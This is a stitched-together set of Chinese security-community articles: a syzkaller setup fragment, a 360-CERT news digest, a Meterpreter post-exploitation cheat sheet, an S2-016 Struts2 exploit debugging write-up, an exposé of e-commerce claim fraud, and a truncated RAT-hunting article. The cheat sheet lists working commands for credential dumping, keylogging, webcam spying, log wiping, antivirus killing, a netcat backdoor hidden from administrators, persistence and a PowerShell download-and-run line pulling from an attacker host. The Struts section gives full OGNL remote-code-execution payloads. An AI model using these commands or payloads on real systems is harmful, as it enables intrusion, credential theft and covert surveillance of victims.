重启ssh服务：`/etc/init.d/ssh restart`
然后在本机上运行下面命令就能无密码登录ssh：
ssh -p 10021 -i id_rsa [email protected]
## 把syzkaller二进制文件复制到虚拟机中
scp -P 10021 -i id_rsa -r $(GOPATH)/bin [email protected]
报错：
搜了一下，发现是dropbear的key格式和openssh不同，要用dropbearconvert转换一下：
安装：`sudo apt install dropbear`
使用方法：
$ dropbearconvert openssh dropbear id_rsa id_rsa_dropbear
然后就可以用转换过的私钥来连接传输文件了：
scp -P 10021 -i id_rsa_dropbear -r $(GOPATH)/bin [email protected]
## 启动syzkaller
编辑配置文件my.cfg：
{
"target": "linux/amd64",
"http": "127.0.0.1:10233",
"workdir": "$GOPATH/src/github.com/google/syzkaller/workdir",
"kernel_obj": "$KERNEL",
"image": "$IMG/wheezy.img",
"sshkey": "$GOPATH/src/github.com/google/syzkaller/workdir/id_rsa_dropbear",
"syzkaller": "$GOPATH/src/github.com/google/syzkaller",
"procs": 4,
"type": "qemu",
"vm": {
"count": 4,
"kernel": "$KERNEL/arch/x86_64/boot/bzImage",
"cpu": 2,
"mem": 2048
}
}
运行：
./bin/syz-manager -config=my.cfg
之后打开浏览器输入127.0.0.1:10233就能看到一个包括系统调用的覆盖量，syzkaller生成的程序数量,内核被crash的日志报告等的调试信息。 | 社区文章 |
# 4月10日热点 - spring-messaging远程代码执行漏洞预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**360-CERT 每日安全简报 2018-04-10 星期二**
## 【漏洞】
1.思科昨日表示近期受到攻击，主要是因为Cisco Smart Install Protocol
Misuse问题，不是3月份的CVE-2018-0171漏洞。建议不使用Smart Install Protocol的用户用no
vstack禁用，使用Smart Install Protocol的用户在保证补丁的基础上增加下ACL限制。
<http://t.cn/RmMmRJA>
2.CVE-2018-0492：linux beep命令中的条件竞争漏洞允许攻击者探测计算机上的文件(POC公布)
<http://t.cn/Rmy2ztz>
## 【安全资讯】
1.等保2.0通用要求VS等保1.0(三级)管理部分要求详细对比
<http://t.cn/RmMOd8A>
2.个人金融信息使用不当，支付宝被央行罚款18万元
<http://t.cn/RmVIpxD>
3.虚拟货币Verge(XVG)遭受攻击，黑客获利百万美金
<http://t.cn/RmI1G5D>
4.扎克伯格北京时间4月10日晚间将出席国会听证会，首次公开就数据保护政策作出解释
<http://t.cn/RmM0Siv>
5.RSA 2018前瞻：CISO必须关注的四大网络安全事项
<http://t.cn/RmMQBan>
6.即将开幕，RSA 2018主题演讲嘉宾阵容大曝光
<http://t.cn/RmMQBSg>
## 【安全研究】
1.CVE-2018-1270：spring-messaging远程代码执行漏洞分析预警
<http://t.cn/RmfUPhq>
2.识别错误配置的CloudFront域名的工具
<http://t.cn/Rm5pNWD>
3.如何分析虚拟机系列之一：新手篇VMProtect 1.81 Demo
<http://t.cn/RmMOdnZ>
如何分析虚拟机系列之二：进阶篇 VMProtect 2.13.8
<http://t.cn/RmMOdmS>
4.在VPS上配置Burp Collaborator服务器
<http://t.cn/RmMOdui>
5.检测Android虚拟机的方法和代码实现
<http://t.cn/RmMOd3T>
6.Threat Hunting平台HELK介绍
<http://t.cn/RmMOd1Y>
7.IceSword Lab在2018补天白帽大会上的PPT：基于硬件辅助的内核漏洞挖掘框架
<http://t.cn/RmfFhON>
8\. WhatsApp Web 逆向工程
<http://t.cn/RmfvkII>
## 【安全报告】
1.物联网安全成熟度模型：描述和预期用途
<http://t.cn/RmMOdTt>
## 【恶意软件】
1.寄生灵手机病毒卷土重来，数十万用户遭殃
<https://www.anquanke.com/post/id/104052>
2.Gh0st/大灰狼RAT家族通讯协议分析
<https://www.anquanke.com/post/id/103831>
3.C0594黑客组织大肆利用网页挖矿木马牟利，已黑掉数千网站
<http://t.cn/RmMWvTz>
4.伪造汇丰美国SWIFT转账(103)37B2308302投递Pony-Fareit木马
<http://t.cn/RmMWvYG>
【以上信息整理自 <https://cert.360.cn/daily> 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
## 0x00 前言
由于最近想学习关于内网渗透的一些知识，前面也有师傅写了关于meterpreter的使用攻略，我这里就来复现学习一下。
Meterpreter是Metasploit框架中的一个扩展模块，作为后渗透阶段的利器，其强大之处可想而知，我这里就简单介绍一下在渗透中可能用的到的一些命令，如若有什么不对的地方还请师傅们多多指教。
## 0x01 系统命令
### 基本系统命令
background # 将当前会话放置后台
sessions # sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
bgrun / run # 执行已有的模块，输入run后按两下tab，列出已有的脚本
info # 查看已有模块信息
getuid # 查看当前用户身份
getprivs # 查看当前用户具备的权限
getpid # 获取当前进程ID(PID)
sysinfo # 查看目标机系统信息
irb # 开启ruby终端
ps # 查看正在运行的进程
kill <PID值> # 杀死指定PID进程
idletime # 查看目标机闲置时间
reboot / shutdown # 重启/关机
shell # 进入目标机cmd shell
### 常用cmd命令
whoami # 当前权限
quser # 查询当前在线的管理员
net user # 查看存在用户
net user 用户名 密码 /add # 添加用户和对应密码
net localgroup 用户组名 用户名 /add # 将指定用户添加到指定用户组
netstat -ano # 查询当前计算机中网络连接通信情况，LISTENING表示该端口处于监听状态；ESTABLISHED表示该端口处于工作（通信）状态
systeminfo # 查看当前计算机中的详细情况
tasklist /svc # 查看每个进程所对应的服务
taskkill /f /im 程序名称 # 结束某个指定名称的程序
taskkill /f /PID ID # 结束某个指定PID的进程
tasklist | findstr "字符串" # 查找输出结果中指定的内容
logoff # 注销某个指定用户的ID
shutdown -r # 重启当前计算机
netsh adcfirewall set allprofiles state off # 关闭防火墙
### uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘
### execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
# -d 在目标主机执行时显示的进程名称（用以伪装）-m 直接从内存中执行
"-o hack.txt"是payload.exe的运行参数
### migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程
### clearav清除日志
clearav # 清除windows中的应用程序日志、系统日志、安全日志
## 0x02 文件系统命令
### 基本文件系统命令
ls # 列出当前目录中的文件列表
cd # 进入指定目录
getwd / pwd # 查看当前工作目录
search -d c:\\ -f *.txt # 搜索文件 -d 目录 -f 文件名
cat c:\\123.txt # 查看文件内容
upload /tmp/hack.txt C:\\ # 上传文件到目标机上
download c:\\123.txt /tmp/ # 下载文件到本机上
edit c:\\test.txt # 编辑或创建文件 没有的话，会新建文件
rm C:\\hack.txt # 删除文件
mkdir admin # 只能在当前目录下创建文件夹
rmdir admin # 只能删除当前目录下文件夹
getlwd / lpwd # 查看本地当前目录
lcd /tmp # 切换本地目录
### timestomp伪造时间戳
timestomp C:\\ -h #查看帮助
timestomp -v C:\\2.txt #查看时间戳
timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
## 0x03 网络命令
### 基本网络命令
ipconfig/ifconfig # 查看网络接口信息
netstat –ano # 查看网络连接状态
arp # 查看arp缓冲表
getproxy # 查看代理信息
route # 查看路由表信息
### portfwd端口转发
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
### autoroute添加路由
可参考：<https://www.anquanke.com/post/id/86505>
run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24 # 添加目标网段路由
run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
### Socks代理
可参考：<https://www.freebuf.com/articles/network/125278.html>
只有在目标设备添加完路由后才可以通过msf自带的socks4a模块进行socks4代理转发
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
然后`vim /etc/proxychains.conf` ，在文件末尾添加socks4代理服务器
使用proxychains代理访问执行nmap操作
proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 # 扫描永恒之蓝漏洞
proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V # rdp服务暴力破解
## 0x04 信息收集
### 常用脚本
run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描
run winenum # 自动化执行一些检测脚本
run credcollect # 获取用户hash
run domain_list_gen # 获取域管理账户列表
run post/multi/gather/env # 获取用户环境变量
run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/gather/checkvm # 是否虚拟机
run post/windows/gather/forensics/enum_drives # 查看存储器信息
run post/windows/gather/enum_applications # 获取安装软件信息
run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
run post/windows/gather/enum_ie # 获取IE缓存
run post/windows/gather/enum_firefox # 获取firefox缓存
run post/windows/gather/enum_chrome # 获取Chrome缓存
run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
run post/windows/gather/enum_patches # 获取补丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 获取snmp团体名称
run post/windows/gather/credentials/vnc # 获取vnc密码
run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
run post/windows/manage/killav 关闭杀毒软件
**PS** :常用的破解模块
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
### 键盘记录
keyscan_start # 开始键盘记录
keyscan_dump # 导出记录数据
keyscan_stop # 结束键盘记录
### sniffer抓包
use sniffer
sniffer_interfaces # 查看网卡
sniffer_start 1 # 选择网卡1开始抓包
sniffer_stats 1 # 查看网卡1状态
sniffer_dump 1 /tmp/wlan1.pcap # 导出pcap数据包
sniffer_stop 1 # 停止网卡1抓包
sniffer_release 1 # 释放网卡1流量
### 窃取令牌
steal_token <pid值> # 从指定进程中窃取token
drop_token # 停止假冒当前的token
### 网络摄像头
record_mic # 音频录制
webcam_chat # 开启视频聊天(对方有弹窗）
webcam_list # 查看摄像头
webcam_snap # 通过摄像头拍照
webcam_stream # 通过摄像头开启视频监控(以网页形式进行监控≈直播）
### 截屏
screenshot # 截屏
use espia # 使用espia模块
screengrab # 截屏
## 0x05 提权
### getsystem提权
利用getsystem命令提权，该命令会自动寻找各种可能的提权技术来使得用户将权限提升到更高的级别。提权方式采用命令管道模拟提升的方法和令牌复制的方法。
getsystem
### 本地漏洞提权
本地漏洞提权即是通过运行一些造成溢出漏洞的exploit,把用户从普通权限提升为管理员权限。
1.利用getuid查看已获得权限，尝试利用getsystem提权，失败。
2.利用enum_patches模块搜集补丁信息，然后寻找可利用的exploits进行提权。
run post/windows/gather/enum_patches #查看补丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 8
run
### 绕过UAC提权
#### 使用bypassuac提权
msf内置一些bypassuac脚本，原理不同，使用方法类似，执行后返回一个新的会话，再次执行getsystem即可提权
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
使用命令getsystem提权失败，然后利用bypassuac来提权，这里利用exploit/windows/local/bypassuac模块(32位、64位都有效)
use exploit/windows/local/bypassuac
set session 1
run
#### 使用RunAs提权
该方法利用exploit/windows/local/ask模块(32位、64位都有效)，创建一个可执行文件并在目标机上发起一个提升权限请求的程序，触发系统UAC，提示用户是否要继续，如果用户选择“是”，则会返回一个高权限的meterpreter
shell。
use exploit/windows/local/ask
set filename update.exe # 设置反弹程序名称
set session 1
run
输入run命令以后会在目标机上弹出UAC，提示用户是否允许，选择是就会返回一个高权限的meterpreter shell。
**注意事项：**
使用RunAs模块进行提权时，系统当前用户须在管理员组或者知道管理员的密码，用户账户控制程序UAC设置则没有要求。使用RunAs模块进行提权时，会创建一个可执行文件，为了避免给杀毒软件查杀，该可执行文件（需进行免杀处理）的创建要使用EXE::Custom选项。
### 假冒令牌提权
令牌是系统临时密钥，它允许你在不提供密码或其他凭证的前提下，访问网络和系统资源。这些令牌将持续存在于系统中，除非系统重新启动。一般有两种类型的令牌，一种是Delegation
Tokens，也就是授权令牌，它支持交互式登录（例如远程桌面登陆登录）。还有一种是Impersonation
Tokens，也就是模拟令牌，它是非交互的会话（例如访问文件共享）。
use incognito # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
rev2self #返回原始token
#### 利用AlwaysInstallElevated提权
AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI)，如果用户启用此策略设置，那么黑客利用恶意的MSI文件就可以进行管理员权限的提升。
#### 查看AlwaysInstallElevated是否被定义
不过利用此方法有个前提条件，需要有两个注册表的键值为1，我们可以在cmdshell下查看AlwaysInstallElevated是否被定义
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如上图所示已经开启AlwaysInstallElevated，如果在组策略里未定义AlwaysInstallElevated，则会出现“错误:
系统找不到指定的注册表项或值”的提示，如下图所示：
如果需要开启可以选择以下方法：
1.打开组策略编辑器（运行框输入gpedit.msc）
2.组策略->计算机配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装：选择启用
3.组策略->用户配置->管理模版->Windows组件->Windows Installer->永远以高特权进行安装：选择启用
设置完成后对应注册表的位置值会设为1，开启AlwaysInstallElevated。
#### 生成MSI安装文件
利用msfvenom命令生成一个在目标机上增加管理员用户的MSI安装文件，这里密码要设置为强密码，否则会报错。
msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
#### 上传并执行MSI文件
upload msi.msi c:\\Users\\test # 部分目录由于权限原因可能上传失败
msiexec /quiet /qn /i msi.msi # /quiet=安装过程中禁止向用户发送消息 /qn=不使用图形界面 /i=安装程序
net localgroup administrators
执行成功后查看管理员组发现用户已经添加成功
**注意：**
由于是msf生成的msi文件，所以默认会被杀毒软件拦截，需要做好免杀。
## 0x06 窃取hash及密码&哈希传递
### 窃取hash及密码
#### hashdump
hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去<https://cmd5.com/> 解密一下即是用户密码
#### mimikatz
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash
#### kiwi
kiwi是利用的mimikatz扩展，运行需要SYSTEM权限
load kiwi
creds_all
### 哈希传递
利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提：SMB服务必须开启，也就是开启445端口；Admin$可以访问。
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run
## 0x07 RDP
### 开启3389
#### getgui命令
这里需要注意的是通过getgui命令，虽然可以成功添加用户，但是没有权限远程登录桌面，这里推荐使用enable_rdp脚本添加。
run getgui –h # 查看帮助
run getgui -e # 开启远程桌面
run getgui -u admin -p admin # 添加用户
run getgui -f 6666 -e # 3389端口转发到6666
#### enable_rdp脚本
通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
### 远程桌面
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
setdesktop # 设置meterpreter关联的桌面 -h查看帮助
run vnc # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
## 0x08 注册表操作
### 注册表基本命令
reg –h # 查看帮助
-k 注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
### 利用注册表添加nc后门
1.编辑注册表，添加nc到系统启动项中，形成后门程序。
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表run下的键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查看test_nc的键值
2.设置防火墙允许通过443端口（如果目标主机开启防火墙，没有设置相应的规则可能会导致连接失败。）
shell
netsh firewall show opmode # 查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称，目的是为了迷惑管理员。)
3.待目标主机重启后，自启nc程序，然后我们利用nc连接即可
## 0x09 后门植入
在我们通过漏洞获取到目标主机权限之后，如果目标主机主机重启亦或是管理员发现并修补了漏洞，那么我们就会失去对服务器的控制权，所以我们需要通过植入后门来维持权限，前面说的nc后门就是其中一种，另外一般还有Persistence和Metsvc
### Persistence(通过启动项安装)
run persistence –h # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X：设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败，后门无法启动。因此在非管理员权限下，不推荐使用该参数
-U：设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L：后门传到远程主机的位置默认为%TEMP%
-i：设置反向连接间隔时间为5秒
-p：设置反向连接的端口号
-r：设置反向连接的ip地址
### Metsvc(通过服务安装)
run metsvc -h # 查看帮助
run metsvc -A # 自动安装后门
run metsvc -r # 删除后门
连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
### Powershell后门
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
在目标设备cmd上执行以下命令即可反弹
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z | 社区文章 |
# S2-016
影响版本
> Struts2.0.0 - Struts2.3.15
漏洞成因
>
> DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令
复现环境是 vulhub 和vulapp
## Payload
redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
?redirect:
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
## 调试
> 第一次调试,弄环境弄了半天,记录一下
> 把war包 扔到webapps下 自动部署了 (也可以用TdeCompile) 出现一个文件夹(a)
> idea 新建project java web (文件夹b)
> 把a下面的web-inf 扔到 b的web-inf a的class下的文件要JD-GUI反编译一下 扔到b的src里
> idea 里面再重新载入一下 lib下的文件
> 添加tomcat服务器
> 就可以了
DefaultActionMapper在处理短路径重定向参数前缀
"action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞，由于对
"action:"/"redirect:"/"redirectAction:"后的URL信息使用OGNL表达式处理，远程攻击者可以利用漏洞提交特殊URL可用于执行任意Java代码。
重定向请求 会让DefaultActionMapper 来处理
这是重定向请求的参数前缀
断点 下在这里
this.put("redirect:", new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();//重定向url 设置一些参数 如statuscode=302
DefaultActionMapper.this.container.inject(redirect);
redirect.setLocation(key.substring("redirect:".length()));//去掉前面的redirect://
mapping.setResult(redirect);//把redirect 加进去了 只有location改变了
}
});
struts2会调用setLocation方法将他设置到redirect.location中。然后这里调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里
接下来到
public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
Set<String> uniqueParameters = new HashSet();
Map parameterMap = request.getParameterMap();//parameterMap 里面就是我们的payload
Iterator i$ = parameterMap.keySet().iterator();
while(i$.hasNext()) {
Object o = i$.next();
String key = (String)o;//payload转换成字符串
if (key.endsWith(".x") || key.endsWith(".y")) {
key = key.substring(0, key.length() - 2);//如果有.x .y 结尾就截掉了
}
if (!uniqueParameters.contains(key)) {
ParameterAction parameterAction = (ParameterAction)this.prefixTrie.get(key);
if (parameterAction != null) {
parameterAction.execute(key, mapping);
uniqueParameters.add(key);//把payload加到了set里
break;
}
}
}
}
觉得这里的parameterAction.execute
执行的就是我们第一个断点的位置,而getMapping调用了这个上面的函数handleSpecialParameters.
我觉得我们这个断点下的 在调用的最深层,之后还要出去 往回 走 类似调用栈的那种感觉..所以才会造成明明是getMapping
调用了handleSpecialParameters,而在idea里 handleSpecialParameters是getMapping
正确的调用顺序
getMapping->handleSpecialParameters->DefaultActionMapper里的prefixTrie中的一个
这就已经把payload 送进了mapping 的result 的location里
发现有execute 继续跟
cleanupRequest 也是一个过滤 但没啥用
继续跟 才是最关键的
org.apache.struts2.dispatcher.Dispatcher#serviceAction
public void serviceAction(HttpServletRequest request, HttpServletResponse response, ServletContext context, ActionMapping mapping) throws ServletException {
//看这些参数的时候就知道 要执行OGNL了,mapping context 啥的
//下面还有什么valuestack的操作
//最关键的
if (mapping.getResult() != null) {
Result result = mapping.getResult();//我们的payload 就在result location 里
result.execute(proxy.getInvocation());
} else {
proxy.execute();
}
这个地方就是啥呢,看我们的action 映射是不是直接访问网页,如果是直接访问网页就走else 里面的execute.
而我们现在是redirect 302 跳转 就走上面的
我们走的是上面的
继续
现在就已经是执行payload的部分了
TextParseUtil.translateVariables 就是提取出OGNL表达式并执行
一步一步跟 有很多com.opensymphony.xwork2.util.OgnlTextParser 解析OGNL的
需要把他改成true 绕过沙盒
细致的跟踪
后面经常出现
getvalue
this.evaluateGetValueBody
ognl.SimpleNode#evaluateGetValueBody
这地方可能是 tree 分开之后的 每个payload小语句 执行 循环
补充一下
org.apache.struts2.dispatcher.ng.ExecuteOperations#executeAction
启动的时候有一些参数
没修改之前的context
Getvalue->evaluateGetValueBody->Getvaluebody
ognl.OgnlRuntime#callMethod(ognl.OgnlContext, java.lang.Object,
java.lang.String, java.lang.Object[])
这里就执行了OGNL表达式
curl -v
<http://localhost:8081/S2_016_war_exploded/default.action\?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D>
## 参考文章:
[很详细的调试S2-016](https://blog.csdn.net/u011721501/article/details/41735885)
[030509调试内有调用链参考下](https://xz.aliyun.com/t/111)
可能有的地方说的不对,希望师傅们指正(萌新瑟瑟发抖) | 社区文章 |
# 专业碰瓷“王”团伙作案？揭露“恶意索赔”黑灰产
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
根据公安部通报的全国公安机关打击整治利用信息网络实施黑恶势力犯罪专项行动有关情况，其中就通报了几起恶意索赔犯罪案件，日常在对案件溯源的过程中也发现诈骗人员从事
**恶意索赔** 的不法行为。
**广东章某强恶意索赔犯罪案件**
2020年11月，广东广州公安机关成功打掉章某强恶意索赔犯罪团伙，抓获犯罪嫌疑人13名。经查，犯罪嫌疑人章某强通过传授犯罪方法、集体恶意索赔等手段发展骨干成员30余名，并不断招揽在校学生、社会闲散人员发展下线，组建网络社团“大猪组”，
**以大量恶意评论、差评、灌水、向市场监督管理部门投诉** 等手段，要挟网店商家，索要“保护费”“赔偿款”。
通过研究发现，恶意索赔方式也发生了一些变化： **从恶意“打假”到“死链”赔付** 。通过对此类手法的分析，
**一方面帮助商家避免被恶意索赔，另一方面提醒参与者存在的风险，特别是很多被以网赚的名义拉去”打店”的学生群体。**
## 恶意索赔手法介绍
### 恶意“打假”
假借打假之名，通过购买、持有众多非本人实名电商平台账号，批量购买目标商品，再以商品存在瑕疵、宣传用语使用“极限词”等借口，向商家强行索要相应“补偿”，若商家不妥协，则以大量差评或向电商平台、监管部门投诉为要挟，实施敲诈勒索犯罪。
### “死链”赔付
淘宝天猫为了提高购物体验，消费者下单购物后，商家必须在约定的时间内发货，超时消费者有权投诉卖家，卖家需要赔偿给消费者资金补偿。
**“死链”也称“死猫”** ，指的是长期无人运营的店铺，自然也就无法发货，这样买家就获得了“赔偿款”，也就是扣除卖家开店缴纳的保证金。
## 恶意索赔黑灰产业运作
从事恶意索赔黑灰产人员，想要获得赔付就涉及到如何获取“死链“和”淘宝账号“，因此衍生出了专门爬取”死链“和售卖可获得赔付的淘宝账号产业链。
### “死链“抓取
使用特殊工具，针对指定商品关键词抓取店铺信息，对店铺阿里旺旺账号的在线状态进行实时监控，从而发现长期无人管理的店铺，获取目标店铺。以某工具为例：
**1、店铺采集：**
①选择商品的搜索方式，如“销量从高到低”、“价格从低到高”
②选择店铺类型，如“淘宝店”、“天猫店”
③卖家在线类型，如“只要在线”、“只要离线”
④导入想要爬取的商品关键词、选择店铺类型，如淘宝店、天猫店
⑤抓取到指定商品、阿里旺旺离线的店铺，同时获得店铺的商品、服务态度、消保保证金、开店时间等情况
**2、旺旺监控**
通过以上方式发现店铺后，对这些店铺使用的旺旺ID进行在线状态实时监控，即可获取目标店铺。
### 账号贩卖
据了解到目前淘宝风控纠察主要依靠索赔记录、下单账号、付款账号几个维度，因此应对淘宝的风控的办法就是将自身伪造成真实用户，于是衍生了各类可用于索赔的淘宝账号。
**1、风控策略**
n账号/行为因素，指账号是否发生了索赔
n下单账号关联因素，指下单账号是否与索赔账号存在关联
n付款账户因素，指付款账户是否与索赔账号存在关联
**2、淘宝账号类型**
目前白号、实物号价格30-50元，主要用于用为赔付申请；钻石号、淘气号价格在100元以上，指的是仅使用手机号注册，未实名也没有购买记录的账号。
##
## 安全课堂
n对于电商平台的商家而言，若店铺长期不运营，建议将店铺商品下架处理或将商品进行价格限制，防止他人恶意下单，或者将店铺关闭；若频繁遭遇恶意赔付，可联系电商平台进行协商处理。
恶意索赔有风险！从目前已掌握的情况看， **恶意索赔中使用的账号、关联的支付账号都可能受到电商平台的风控限制，可能会影响账号的使用**
。同时，2019年12月淘宝起诉“职业吃货”第一案胜诉，这意味着“职业索赔”行为将受到规制，行为严重者可能涉及违法违规。 | 社区文章 |
# 【技术分享】如何通过主动威胁识别方式发现远程访问木马
|
##### 译文声明
本文是翻译文章，文章来源：recordedfuture.com
原文地址：<https://go.recordedfuture.com/hubfs/reports/threat-identification.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
如果我们能持续不断地将已知的远程访问木马（remote access
